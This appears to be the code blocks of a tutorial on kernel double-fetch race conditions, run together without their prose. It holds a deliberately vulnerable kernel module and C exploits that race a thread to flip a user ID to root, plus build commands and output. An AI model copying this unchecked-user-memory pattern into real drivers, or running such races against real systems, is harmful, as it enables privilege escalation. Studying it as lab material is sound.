if (creds->id == 0) {
printk(KERN_ALERT "[Double-Fetch] Attempted to log in as root!");
return -1;
}
printk("[Double-Fetch] Attempting login...");
if (!strcmp(creds->password, PASSWORD)) {
id = creds->id;
printk(KERN_INFO "[Double-Fetch] Password correct! ID set to %d", id);
return id;
}Credentials creds;
creds.id = 900;
strcpy(creds.password, "p4ssw0rd");// don't want to make the loop infinite, just in case
for (int i = 0; i < 1000000; i++) {
// now we write the cred struct to the module
res_id = write(fd, &creds, 0);
// if res_id is 0, stop the race
if (!res_id) {
puts("[+] ID is 0!");
break;
}
}void *switcher(void *arg) {
volatile Credentials *creds = (volatile Credentials *)arg;
while (1) {
creds->id = 0;
creds->id = 900;
}
}~ $ ./exploit
FD: 3
[ 2.140099] [Double-Fetch] Attempted to log in as root!
[ 2.140099] [Double-Fetch] Attempted to log in as root!
[+] ID is 0!
[-] Finished race; note that rbx is the buf argument, user-controlled
cmp dword ptr [rbx], 5
ja default_case
mov eax, [rbx]
mov rax, jump_table[rax*8]
jmp raxroot#define PASSWORD "p4ssw0rd"
typedef struct {
int id;
char password[10];
} Credentials;
static int id = 1001;
static ssize_t df_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos) {
Credentials *creds = (Credentials *)buf;
printk(KERN_INFO "[Double-Fetch] Reading password from user...");
if (creds->id == 0) {
printk(KERN_ALERT "[Double-Fetch] Attempted to log in as root!");
return -1;
}
// to increase reliability
msleep(1000);
if (!strcmp(creds->password, PASSWORD)) {
id = creds->id;
printk(KERN_INFO "[Double-Fetch] Password correct! ID set to %d", id);
return id;
}
printk(KERN_ALERT "[Double-Fetch] Password incorrect!");
return -1;
}#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
typedef struct {
int id;
char password[10];
} Credentials;
int main() {
int fd = open("/dev/double_fetch", O_RDWR);
printf("FD: %d\n", fd);
Credentials creds;
creds.id = 900;
strcpy(creds.password, "p4ssw0rd");
int res_id = write(fd, &creds, 0); // last parameter here makes no difference
printf("New ID: %d\n", res_id);
return 0;
}gcc -static -o exploit exploit.c$ dmesg
[...]
[ 3.104165] [Double-Fetch] Password correct! ID set to 900Credentials *creds = (Credentials *)buf;if (creds->id == 0) {
printk(KERN_ALERT "[Double-Fetch] Attempted to log in as root!");
return -1;
}if (!strcmp(creds->password, PASSWORD)) {
id = creds->id;
printk(KERN_INFO "[Double-Fetch] Password correct! ID set to %d", id);
return id;
}// gcc -static -o exploit -pthread exploit.c
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void *switcher(void *arg);
typedef struct {
int id;
char password[10];
} Credentials;
int main() {
// communicate with the module
int fd = open("/dev/double_fetch", O_RDWR);
printf("FD: %d\n", fd);
// use a random ID and set the password correctly
Credentials creds;
creds.id = 900;
strcpy(creds.password, "p4ssw0rd");
// set up the switcher thread
// pass it a pointer to `creds`, so it can modify it
pthread_t thread;
if (pthread_create(&thread, NULL, switcher, &creds)) {
fprintf(stderr, "Error creating thread\n");
return -1;
}
// now we write the cred struct to the module
// it should be swapped after about .3 seconds by switcher
int res_id = write(fd, &creds, 0);
// write returns the id we switched to
// if all goes well, that is 0
printf("New ID: %d\n", res_id);
// finish thread cleanly
if (pthread_join(thread, NULL)) {
fprintf(stderr, "Error joining thread\n");
return -1;
}
return 0;
}
void *switcher(void *arg) {
Credentials *creds = (Credentials *)arg;
// wait until the module is sleeping - don't want to change it BEFORE the initial ID check!
sleep(0.3);
creds->id = 0;
}$ gcc -static -o exploit -pthread exploit.c$ cpio -i -F initramfs.cpio$ find . -not -name *.cpio | cpio -o -H newc > initramfs.cpio~ # ./exploit
FD: 3
New ID: 0